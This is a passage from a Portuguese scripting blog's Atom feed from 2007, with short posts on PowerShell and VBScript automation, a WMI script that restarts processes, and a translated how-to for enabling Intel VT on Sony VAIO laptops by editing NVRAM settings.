src='https://blogger.googleusercontent.com/tracker/30662693-8721049294504421607?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8721049294504421607/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8721049294504421607&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8721049294504421607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8721049294504421607'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/powershell-2-corrigido-problema-de.html' title='PowerShell 2: Corrigido problema de performance com a listagem de atributos'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6780235180747934938</id><published>2007-12-23T12:45:00.001-02:00</published><updated>2007-12-23T12:45:10.404-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='música'/><title type='text'>MP3 e PowerShell</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;encontrei alguns exemplos legais de como trabalhar com uma biblioteca chamada TagLib#, que é uma biblioteca que permite manipular metadados em arquivos de audio (MP3, OGG e WMA, por exemplo).&lt;/p&gt; &lt;p&gt;&lt;a title="http://huddledmasses.org/editing-media-tags-from-powershell/" href="http://huddledmasses.org/editing-media-tags-from-powershell/"&gt;http://huddledmasses.org/editing-media-tags-from-powershell/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Não cheguei a testar, mas parece interessante. Já cheguei a pensar em escrever biblioteca semelhante para trabalhar com MP3 em VBScript, mas desisti ao ver que alguém já tinha feito essa boa ação e colocado o código na Internet.&lt;/p&gt; &lt;p&gt;Editar tags não costuma ser uma tarefa rápida: consiste em abrir, analisar os arquivos, escrever e fechar, salvando as alterações. Pode parecer simples, mas se os algoritmos utilizados não forem eficientes, o trabalho pode ficar mais lento. Converter entre formatos de tag também pode ser um trabalho demorado (computacionalmente falando). Entre todos os meus testes, o software mais rápido que eu encontrei para editar tags foi o MP3Tag, que pode ser obtido aqui: &lt;a title="http://www.mp3tag.de/en/" href="http://www.mp3tag.de/en/"&gt;http://www.mp3tag.de/en/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6780235180747934938?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6780235180747934938/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6780235180747934938&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6780235180747934938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6780235180747934938'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/mp3-e-powershell.html' title='MP3 e PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8565798960237762604</id><published>2007-12-21T12:13:00.001-02:00</published><updated>2007-12-21T12:14:50.677-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Send-SMTPMail: Enviando e-mails via PowerShell</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;a seguir, temos uma ferramenta bastante útil para o PowerShell: como enviar emails via linha de comando.&lt;/p&gt; &lt;p&gt;&lt;a title="http://mspowershell.blogspot.com/2007/12/send-smtpmail-update.html" href="http://mspowershell.blogspot.com/2007/12/send-smtpmail-update.html"&gt;http://mspowershell.blogspot.com/2007/12/send-smtpmail-update.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Muito bom, recomendo!&lt;/p&gt; &lt;p&gt;Até mais&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8565798960237762604?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8565798960237762604/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8565798960237762604&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8565798960237762604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8565798960237762604'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/send-smtpmail-enviando-e-mails-via.html' title='Send-SMTPMail: Enviando e-mails via PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6308755479459314338</id><published>2007-12-21T00:56:00.001-02:00</published><updated>2007-12-21T00:56:49.242-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado'/><title type='text'>SendKeys no PowerShell</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;acabei de encontrar uma ferramenta muito útil do VBScript que não tinha uma correspondência direta com nenhum recurso no PowerShell: o SendKeys.&lt;/p&gt; &lt;p&gt;Para quem não conhece, ele é um dos "canivetes suíços" mais interessantes, já que permite a simulação da digitação de teclas. Dessa forma, ele serve como uma "cola" para conseguir automatizar programas que não suportam automação nativamente. Se não dava para fazer programando um script, ainda podia ser feito simulando teclas no teclado.&lt;/p&gt; &lt;p&gt;Pois bem, agora tem como fazer o mesmo no PowerShell... e de uma forma bem mais legal.&lt;/p&gt; &lt;p&gt;&lt;a title="http://huddledmasses.org/window-gui-automation-from-powershell/" href="http://huddledmasses.org/window-gui-automation-from-powershell/"&gt;http://huddledmasses.org/window-gui-automation-from-powershell/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Vejam um exemplo:&lt;/p&gt; &lt;p&gt;&lt;code&gt;Select-Window notepad | Send-Keys "%(ea)Testing{Enter}{F5}"&lt;/code&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6308755479459314338?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6308755479459314338/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6308755479459314338&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6308755479459314338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6308755479459314338'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/sendkeys-no-powershell.html' title='SendKeys no PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5989704208739217605</id><published>2007-12-17T03:38:00.000-02:00</published><updated>2007-12-17T02:41:42.983-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><title type='text'>Reiniciando processos com VBScript e WMI</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;acabei de desenvolver um pequeno script para reiniciar processos, e resolvi publicar aqui. Fiz porque há um problema intermitente com o meu computador que faz com que o scroll do touchpad pare de funcionar aleatoriamente, sem motivo aparente, após algumas sequencias de hibernação/reinicialização. Não descobri ainda, o motivo, mas fiz um script que contorna o problema, fechando todas as instâncias dos programas responsáveis pelo touchpad e abrindo logo em seguida.&lt;/p&gt; &lt;p&gt;Enfim, esse é um script para relembrar os velhos tempos. Faz um bom tempo que não escrevo nada sobre VBScript, que ainda é e vai continuar sendo uma das principais ferramentas para automação no Windows. O Script abaixo reinicia tudo que começa com ap, o que pode ser visto na query WQL na terceira linha.&lt;/p&gt; &lt;p&gt;set objShell = WScript.CreateObject("Wscript.Shell")&lt;br&gt;Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")&lt;br&gt;Set colProcess = objWMIService.ExecQuery("Select * from Win32_Process WHERE caption LIKE 'ap%'")&lt;br&gt;for each process in colProcess&lt;br&gt; processPath = process.ExecutablePath&lt;br&gt; process.terminate()&lt;br&gt; objShell.run """" &amp;amp; processPath &amp;amp; """"&lt;br&gt;next&lt;br&gt;WScript.echo "Processos reiniciados."&lt;br&gt;&lt;/p&gt; &lt;p&gt;Até logo!&lt;/p&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:db979b3b-ee0e-41b6-ac2c-e5a37147a73a" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/wmi" rel="tag"&gt;wmi&lt;/a&gt;, &lt;a href="http://technorati.com/tags/vbscript" rel="tag"&gt;vbscript&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5989704208739217605?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5989704208739217605/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5989704208739217605&amp;isPopup=true' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5989704208739217605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5989704208739217605'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/reiniciando-processos-com-vbscript-e.html' title='Reiniciando processos com VBScript e WMI'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-436476856147506456</id><published>2007-12-07T23:38:00.001-02:00</published><updated>2007-12-07T23:38:33.899-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualização'/><title type='text'>VT em outros Vaios FZ, AR, etc.</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;mais sobre como habilitar o VT em VAIOs. Agora, o autor da mensagem que eu usei para habilitar o VT no meu VAIO mostrou como ele chegou naqueles endereços que deviam ser alterados. &lt;/p&gt; &lt;p&gt;Em outras palavras: agora ele ensinou o caminho das pedras. Quem tiver um VAIO da sério FZ, CR ou AR, por exemplo, pode agora habilitar o VT em seu note também... basta testar. Tudo que ele fez foi testar, por tentativa e erro, até achar o local onde fica armazenada a opção do VT na NVRAM.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;I found the Napa SZ registers by a long process of trial and error. First I made seven files, each having a [0000] -&amp;gt; [0001] value change in one of the seven sections (0000-00FF,0100-01FF, ... , 0600-06FF) and sequentially wrote them to the NVRAM and noted the changes. If a significant change had occured in one of the seven sections, such as a BSOD, indicating that AHCI was enabled, or a change in the VT.iso results, I continued to use a divide and conquer type approach in that section until I had narrowed it down to the right locations. Since the SZ registers are around the 0100-03FF range, you may want to try searching in that area first.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;O original pode ser lido no link abaixo:&lt;/p&gt; &lt;p&gt;&lt;a title="http://forum.notebookreview.com/showthread.php?p=2679747#post2679747" href="http://forum.notebookreview.com/showthread.php?p=2679747#post2679747"&gt;http://forum.notebookreview.com/showthread.php?p=2679747#post2679747&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-436476856147506456?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/436476856147506456/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=436476856147506456&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/436476856147506456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/436476856147506456'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/vt-em-outros-vaios-fz-ar-etc.html' title='VT em outros Vaios FZ, AR, etc.'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2911980316182114495</id><published>2007-12-07T09:55:00.001-02:00</published><updated>2007-12-07T09:55:52.235-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Jeffrey Snover explica porque criou o PowerShell</title><content type='html'>&lt;p&gt;Eis um video interessante para quem não entendeu muito bem onde o PowerShell é útil...&lt;/p&gt;&lt;embed src="http://www.youtube.com/v/ZlivNGCkakY&amp;amp;rel=1" width="425" height="355" type="application/x-shockwave-flash" wmode="transparent"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2911980316182114495?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2911980316182114495/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2911980316182114495&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2911980316182114495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2911980316182114495'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/12/jeffrey-snover-explica-porque-criou-o.html' title='Jeffrey Snover explica porque criou o PowerShell'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5646152225764152703</id><published>2007-11-19T16:36:00.001-02:00</published><updated>2007-11-19T16:36:09.415-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualização'/><title type='text'>Habilitando VT em notebooks VAIO da Sony</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;não gosto muito de fugir do assunto scripting no meu blog sobre scripting. Esse é o principal motivo pelo qual eu penso em criar mais dois blogs, um para assuntos diversos e outro em Inglês. No entanto, esse é um post especial e que merece atenção, principalmente para consumidores que compraram notebooks da Sony.&lt;/p&gt; &lt;p&gt;Adquiri um Sony Vaio no começo deste ano e fiquei muito feliz: meu primeiro notebook, computação móvel (ou computação dependente de tomadas), etc. O notebook em si é muito bom, extremamente rápido, bastante memória, tela legal. No entanto, uma coisa me deixou extremamente chateado: embora o processador do notebook suporte a tecnologia de virtualização por hardware (Intel VT, processador Intel Core 2 Duo T7200), a Sony simplesmente desativa este recurso em todos os seus notebooks. Eu não recomendo Sony Vaio para nenhum Power User. Quem gosta mesmo de computação e usa o computador ao extremo, não compre. &lt;/p&gt; &lt;p&gt;Eu uso o VT simplesmente porque gosto de testar SOs, várias combinações de Windows, máquinas virtuais e scripts. Como eu não estou trabalhando,&amp;nbsp;é uma forma rápida de "criar"e testar scripts em "grandes" ambientes corporativos.&lt;/p&gt; &lt;p&gt;Entrei em contato com o suporte nos EUA e tudo que me disseram é que a Sony não suporta e não vai suportar VT. Cheguei a pedir para conversar com outras pessoas de lá, mas tudo que consegui foi um não. Argumentei que precisava deste recurso, que foi um dos motivos pelos quais eu comprei um T7200 foi esse. Nada de conversa. Empresas que não dão valor aos clientes normalmente dão essa resposta.&lt;/p&gt; &lt;p&gt;Comecei minha busca pela Internet. Pesquisei bastante sobre como funciona o processo de boot, sobre o VT, sobre BIOS e tudo mais. Cheguei a encontrar resultados legais sobre isso, mas nada desenvolvido até então. Dentre as várias possibilidades de alteração, a mais segura é a alteração da NVRAM, que, ao menos em tese, não inutiliza o computador em caso de falha. Tudo que eu precisava fazer era localizar na NVRAM&amp;nbsp;o local onde a BIOS do meu notebook gravaria o valor "VT enabled" e mudar ele pra 1 de alguma forma. Outra alternativa, mais arriscada, seria criar um patch para a BIOS, localizando e pulando a instrução que oculta a opção do VT. Essa alternativa, entretando, pode inutilizar o computador se o patch não for bem feito.&lt;/p&gt; &lt;p&gt;Usando um serviço do Google (Google Alerts), coloquei ele para procurar todos os dias na Internet por "Enable VT VAIO". Hoje veio uma resposta diferente. Alguém conseguiu a primeira solução. Testei e funcionou.&amp;nbsp;Por enquanto, só há resultados válidos para notebooks Sony da série SZ, mas creio que é questão de tempo para aparecer soluções semelhantes para as séries AR, FZ e todos os outros.&lt;/p&gt; &lt;p&gt;Isso mostra o quanto a Sony está errada. Agora sim comprar um Vaio parece ser algo interessante. No entanto, não recomendo Vaios mais justamente pelo descaso do suporte.&lt;/p&gt; &lt;p&gt;Para os menos "computadorizados", resolvi pegar o texto e postar em português. Veja abaixo como ativar o VT no seu Vaio. O original pode ser &lt;a href="http://forum.notebookreview.com/newreply.php?do=newreply&amp;amp;noquote=1&amp;amp;p=2679747"&gt;visto aqui&lt;/a&gt;.&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;b&gt;Aviso:&lt;/b&gt; Embora esta seja uma tarefa simples, eu não me responsabilizo por nenhum problema que venha a ocorrer. Teste por sua própria conta e risco.&lt;/p&gt; &lt;p&gt;Como a maioria de vocês já deve saber, a Sony decidiu por desabilitar o VT por padrão em todos os modelos de VAIO, como pode ser visto no artigo do KB&amp;nbsp;&lt;a href="http://www.iq.sony.com/srvs/autoresponsev4.asp?id=381809"&gt;C381809&lt;/a&gt;. Aqui vou mostrar como ativar&amp;nbsp;o &lt;a href="http://www.intel.com/cd/ids/developer/asmo-na/eng/221874.htm"&gt;Intel Virtualization Technology&lt;/a&gt; (&lt;a href="http://www.intel.com/cd/ids/developer/asmo-na/eng/223724.htm"&gt;FAQ&lt;/a&gt;)&amp;nbsp;e o&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/AHCI"&gt;AHCI&lt;/a&gt;&amp;nbsp;em um&amp;nbsp;&lt;a href="http://forum.notebookreview.com/autolink.php?id=80&amp;amp;script=showthread&amp;amp;forumid=8"&gt;VAIO SZ&lt;/a&gt;. &lt;br&gt;Antes de tentar a modificação, certifique-se de que a BIOS no seu SZ está atualizada com a última versão:&amp;nbsp;&lt;a href="ftp://ftp.vaio.sony.co.jp/pub/vaio/download/SP-010412-32/PHBSYS-01041232-UN.exe"&gt;R0112N0&lt;/a&gt; para notebooks com processadores da série&amp;nbsp;Napa&amp;nbsp;ou &lt;a href="ftp://ftp.vaio-link.com/pub/OS/XPDOWNGRADE/SZ6/SZ6_XP_UTILITIES.ZIP"&gt;R0101S5&lt;/a&gt;&amp;nbsp;para notebooks com o&amp;nbsp;processador &lt;a href="http://forum.notebookreview.com/autolink.php?id=123&amp;amp;script=showthread&amp;amp;forumid=8"&gt;Santa Rosa&lt;/a&gt;. Se você receber um erro enquanto tentar atualizar a BIOS no XP ou Vista, certifique-se de ter instalado todos os drivers e utilitários&amp;nbsp;da Sony.&amp;nbsp;Isso fará com que o programa que atualiza a BIOS reconheça seu modelo de notebook.&amp;nbsp;Drivers e utilitários para vários modelos podem ser encontrados&amp;nbsp;em threads sobre instalações limpas do Windows neste fórum.&lt;/p&gt; &lt;p&gt;NOTA DO VINICIUS: eu tive que atualizar minha BIOS. Curiosamente, o site da Sony só exibe o update da BIOS PHBSYS-010412&lt;strong&gt;31&lt;/strong&gt;-UN.exe. O link que o autor coloca é de um ftp da Sony do Japão, e o update,&amp;nbsp;o arquivo PHBSYS-010412&lt;strong&gt;32&lt;/strong&gt;-UN.exe é compatível com meu notebook. &lt;/p&gt; &lt;p&gt;Os únicos ítens que você vai precisar, além do notebook, é um drive de disquete e um&amp;nbsp;&lt;a href="http://www.esupport.com/techsupport/award/bootdisk.htm"&gt;disquete de inicialização do DOS&lt;/a&gt;. Você pode também testar o método usando um CD-R com um disco de inicialização do DOS ou um pendrive bootável. No entanto, eu não testei isso&lt;/p&gt; &lt;p&gt;NOTA DO VINICIUS: Eu testei com um cd bootável com uma imagem do DOS e funcionou. O único problema é lembrar de gravar os programas abaixo no CD ou em uma partição FAT/FAT32 do HD.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Instruções:&lt;/b&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Faça o download do programa &lt;a href="ftp://ftp.supermicro.com/utility/symcmos.exe"&gt;symcmos&lt;/a&gt; e copie-o em seu disco de inicialização. Este programa será utilizado para modificar as configurações da sua Phoenix BIOS. Baixe também um editor de texto para MS-DOS (aqui:&amp;nbsp;&lt;a href="http://short.stop.home.att.net/freesoft/txtedit1.htm"&gt;DOS text editor&lt;/a&gt;)&amp;nbsp;e copie-o para o disco de forma que seja possível editar o arquivo no DOS. NOTA DO VINICIUS: eu copiei a versão de 16 bits do VIM, mas é possível editar no Windows em outro computador também. &lt;li&gt;Entre na BIOs pressionando F2&amp;nbsp;durante o startup, ou quando o logo do VAIO aparecer, e resete as configurações padrão de fábrica. Salve e reinicie. &lt;li&gt;Volte à BIOS e habilite o boot por dispositivos externos. Salve e reinicie. NOTA DO VINICIUS: não é necessário esse passo. Basta pressionar ESC durante o boot e escolher um dispositivo para iniciar o computador. No meu caso, fiz isso e escolhi o CD-Rom. &lt;li&gt;Inicie usando o disco de inicialização e, no prompt, digite "symcmos -v2 -lDefault.txt", sem aspas. Note que não há espaço entre o parâmetro l (L, minúsculo) e o nome do arquivo. Isto vai criar uma cópia literal da tabela de símbolos da sua NVRAM chamado Default.txt com as opções atuais da sua BIOS.  &lt;li&gt;Use o editor de texto DOS (ou reinicie e altere o arquivo que está no disquete dentro do Windows, com seu editor preferido)&amp;nbsp;para alterar o arquivo gerado Default.txt. Mude as linhas abaixo e&amp;nbsp;salve com algum outro&amp;nbsp;nome no disquete.(como por exemplo,&amp;nbsp;modified.txt):&lt;br&gt;&lt;u&gt;&lt;b&gt;&lt;br&gt;Para SZs modelo Napa - BIOS Versão R0112N0&lt;/b&gt;&lt;/u&gt;&lt;br&gt;Para habilitar o AHCI: (015C) [0000] ---&amp;gt; (015C) [0001]&lt;br&gt;Para habilitar o VT-x: (0354) [0000] ---&amp;gt; (0354) [0001]&lt;br&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;Para SZs modelo Santa Rosa SZs, mais recentes - BIOS Versão R0101S5&lt;/b&gt;&lt;/u&gt;&lt;br&gt;Para habilitar o AHCI: (0189) [0000] ---&amp;gt; (0189) [0001]&lt;br&gt;Para habilitar o VT-x: (02F1) [0000] ---&amp;gt; (02F1) [0001]&lt;br&gt;&lt;br&gt;NOTA DO VINICIUS: para quem não entendeu, basta localizar a linha à esquerda e trocar para a linha da direita. Basta trocar o [0000] para [0001]. Easy! &lt;li&gt;Volte ao prompt (ou inicie o notebook novamente)&amp;nbsp;do DOS e digite "symcmos -v2 -uNameOfModifiedFile", sem aspas, e reinicie. Isto vai gravar as configurações modificadas na NVRAM. Terminado!&lt;/li&gt; &lt;li&gt;&lt;b&gt;Notas:&lt;/b&gt;&lt;br&gt;Para testar se o AHCI está habilitado, você vai ver uma tela azul quando o Windows XP e Vista. Isso ocorre porque os drivers para AHCI não são instalados no SO por padrão. Você vai precisar instalar os&amp;nbsp;&lt;a href="http://www.mediafire.com/download.php?3qbzdzxjmmr"&gt;drivers AHCI&lt;/a&gt; na sua instalação atual.&amp;nbsp;Use o Google para instruções de como fazer isso no XP ou&amp;nbsp;leia &lt;a href="http://support.microsoft.com/kb/922976/en"&gt;isto&lt;/a&gt; para fazer o mesmo no Vista. &lt;br&gt;&lt;br&gt;NOTA DO VINICIUS: outra alternativa: não habilite o AHCI no seu notebook. =)&lt;br&gt;&lt;br&gt;Para testar o VT-X, faça o download do&amp;nbsp;&lt;a href="http://ftpsite.vmware.com/download/vt.iso"&gt;vt.iso&lt;/a&gt; (use o salvar link como no seu navegador) e grave com o&amp;nbsp;&lt;a href="http://www.imgburn.com/"&gt;IMGBurn&lt;/a&gt;. Inicie o micro com este CD&amp;nbsp;e ele vai informar se o VT está habilitado ou não. Você pode também gravar o &lt;a href="http://www.grc.com/securable.htm"&gt;Securable&lt;/a&gt; no Windows e salvar em um CD-R.&lt;br&gt;&lt;br&gt;NOTA DO VINICIUS: se você preferir, instale e abra o Microsoft Virtual PC. Na opção ajuda, sobre, você encontra essa informação.&lt;br&gt;&lt;br&gt;Se você não tiver um floppy USB, também pode ser possível habilitar o VT-x e o AHCI usando um CD bootável do DOS, mas eu ainda não testei. Você vai ter que gravar no disco as modificações. No entanto, eu tenho somente as configurações do Napa&amp;nbsp;R0112N0 para compartilhar. As configurações padrão do Napa estão anexadas, e você pode ediar por si mesmo. NOTA DO VINICIUS: não é obrigatório gravar no CD não... basta alterar no DOS e gravar diretamente na NVRAM. Foi o que eu fiz.&lt;/li&gt; &lt;li&gt;Para reverter as configurações anteriores, você tem três opções: &lt;br&gt;1. Entre na BIOS e resete para as configurações padrão.&lt;br&gt;2. Use o comando symcmos e a flag -u flag para escrever as configurações padrão que você salvou anteriormente como&amp;nbsp;Default.txt novamente na NVRAM.&lt;br&gt;3. Pior caso, se o seu notebook não passar nem do&amp;nbsp;POST: &lt;a href="http://home.comcast.net/%7Enw_systems/vgnSZ.pdf"&gt;abra seu notebook&amp;nbsp;&lt;/a&gt; e remova e coloque novamente a bateira da CMOS, que fica localizada perto da placa WLAN.&lt;br&gt;Muito do crédito desta descoberta vai para&amp;nbsp;"bfroemel" por postar este método no&amp;nbsp;&lt;a href="http://communities.vmware.com/message/748124"&gt;VMware forum&lt;/a&gt;; Eu estou apenas sumarizando aqui e especializando para o SZ da Sony. NOTA DO VINICIUS: o mesmo vale para mim, que só traduzi o howto. &lt;/li&gt;&lt;/ol&gt;&lt;/blockquote&gt; &lt;p&gt;Pronto! VT para todo mundo! E pensem duas vezes ao comprar notebooks de uma empresa que não ouve seus clientes.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5646152225764152703?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5646152225764152703/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5646152225764152703&amp;isPopup=true' title='14 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5646152225764152703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5646152225764152703'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2007/11/habilitando-vt-em-notebooks-vaio-da.html' title='Habilitando VT em notebooks VAIO da Sony'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6660507654929126803</id><published>2007-11-15T10:54:00.000-02:00</published><updated>2007-11-15T10:55:53.921-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Assistência Remota'/><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><title type='text'>Script para Assistência Remota</title><content type='html'>O colaborador do fórum Wellington Lima publicou em seu blog um script simples e extremamente útil para trabalhar com a assistência remota no Windows Vista.

Vejam aqui:
